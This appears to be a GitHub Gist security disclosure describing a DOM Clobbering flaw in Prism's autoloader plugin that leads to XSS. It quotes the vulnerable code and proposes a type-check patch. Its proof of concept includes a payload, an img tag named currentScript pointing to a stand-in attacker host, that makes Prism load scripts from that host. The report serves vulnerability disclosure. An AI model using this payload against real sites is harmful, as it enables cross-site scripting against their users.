Skip to content

Instantly share code, notes, and snippets.

@jackfromeast
Created October 31, 2024 15:16
Show Gist options
  • Select an option

  • Save jackfromeast/aeb128e44f05f95828a1a824708df660 to your computer and use it in GitHub Desktop.

Select an option

Save jackfromeast/aeb128e44f05f95828a1a824708df660 to your computer and use it in GitHub Desktop.
DOM Clobbering Gadget found in Prism that leads to XSS

Summary

We identified a DOM Clobbering vulnerability within the Prism library's prism-autoloader plugin (version 1.29.0). This vulnerability could lead to cross-site scripting (XSS) attacks in web pages who embed Prism and allow users to inject scriptless HTML elements (e.g., an img tag with a controlled name attribute).

Note that, we have found similar issues in the other popular client-side libraries, including Webpack (CVE-2024-43788), Vite (CVE-2024-45812), and layui (CVE-2024-47075), which might be good references to this kind of vulnerability. So, in terms of the wildly adoption of Prism in the modern website, we think it is necessary to make the Prism resistant against DOM Clobbering attack.

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf [2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gagdet found in Prism

The prism-autoloader plugin uses document.currentScript as the base url for dynamically loading other dependencies. However, this code is vulnerable to a DOM Clobbering attack. The lookup on the line with document.currentScript can be shadowed by an attacker, causing it to return an attacker-controlled HTML element instead of the current script element as intended. In such a scenario, the src attribute of the attacker-controlled element will be used as the languages_path. If additional scripts are loaded from the server, languages_path will be used as the base URL, pointing to the attacker's domain. This could lead to arbitrary script loading from the attacker's server, resulting in severe security risks.

https://github.com/PrismJS/prism/blob/59e5a3471377057de1f401ba38337aca27b80e03/prism.js#L226-L259
currentScript: function () {
	if ('currentScript' in document && 1 < 2 /* hack to trip TS' flow analysis */) {
		return /** @type {any} */ (document.currentScript);
	}
},
https://github.com/PrismJS/prism/blob/59e5a3471377057de1f401ba38337aca27b80e03/plugins/autoloader/prism-autoloader.js#L297-L316
var script = Prism.util.currentScript();
	if (script) {
		var autoloaderFile = /\bplugins\/autoloader\/prism-autoloader\.(?:min\.)?js(?:\?[^\r\n/]*)?$/i;
		var prismFile = /(^|\/)[\w-]+\.(?:min\.)?js(?:\?[^\r\n/]*)?$/i;

		var autoloaderPath = script.getAttribute('data-autoloader-path');
		if (autoloaderPath != null) {
			// data-autoloader-path is set, so just use it
			languages_path = autoloaderPath.trim().replace(/\/?$/, '/');
		} else {
			var src = script.src;
			if (autoloaderFile.test(src)) {
				// the script is the original autoloader script in the usual Prism project structure
				languages_path = src.replace(autoloaderFile, 'components/');
			} else if (prismFile.test(src)) {
				// the script is part of a bundle like a custom prism.js from the download page
				languages_path = src.replace(prismFile, '$1components/');
			}
		}
	}

PoC

In the following PoC, you should be able to see that prism-css.min.js will be loading from the attacker.controlled.com domain.

<html>
<body>
<!--Payload-->
<img name=currentScript src="http://attacker.controlled.com/a.js"></img>
<!--Payload-->

<!--Library-->
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/prism/1.29.0/themes/prism.css" integrity="sha512-jtWR3pdYjGwfw9df601YF6uGrKdhXV37c+/6VNzNctmrXoO0nkgHcS03BFxfkWycOa2P2Nw9Y9PCT9vjG9jkVg==" crossorigin="anonymous" referrerpolicy="no-referrer" />
<script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.29.0/components/prism-core.js" integrity="sha512-jhk8ktzYxeUWJ/vx3Lzp53xE0Jgsp+UxA3wDyRSYeMBdPutgCp6jiGvTjyZm+R7cn3Lu/0MnEIR421EOdl3qAg==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.29.0/plugins/autoloader/prism-autoloader.js"></script>

<pre><code class="language-css">p { color: red }</code></pre>
<!--Library-->
</body>
</html>

Patch

For patch, I suggest to add addtional type check when using the document.currentScript.

https://github.com/PrismJS/prism/blob/59e5a3471377057de1f401ba38337aca27b80e03/prism.js#L226-L259
currentScript: function () {
	if ('currentScript' in document && 1 < 2 && document.currentScript.tagName.toUpperCase() === 'SCRIPT') {
		return /** @type {any} */ document.currentScript;
	}
},
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment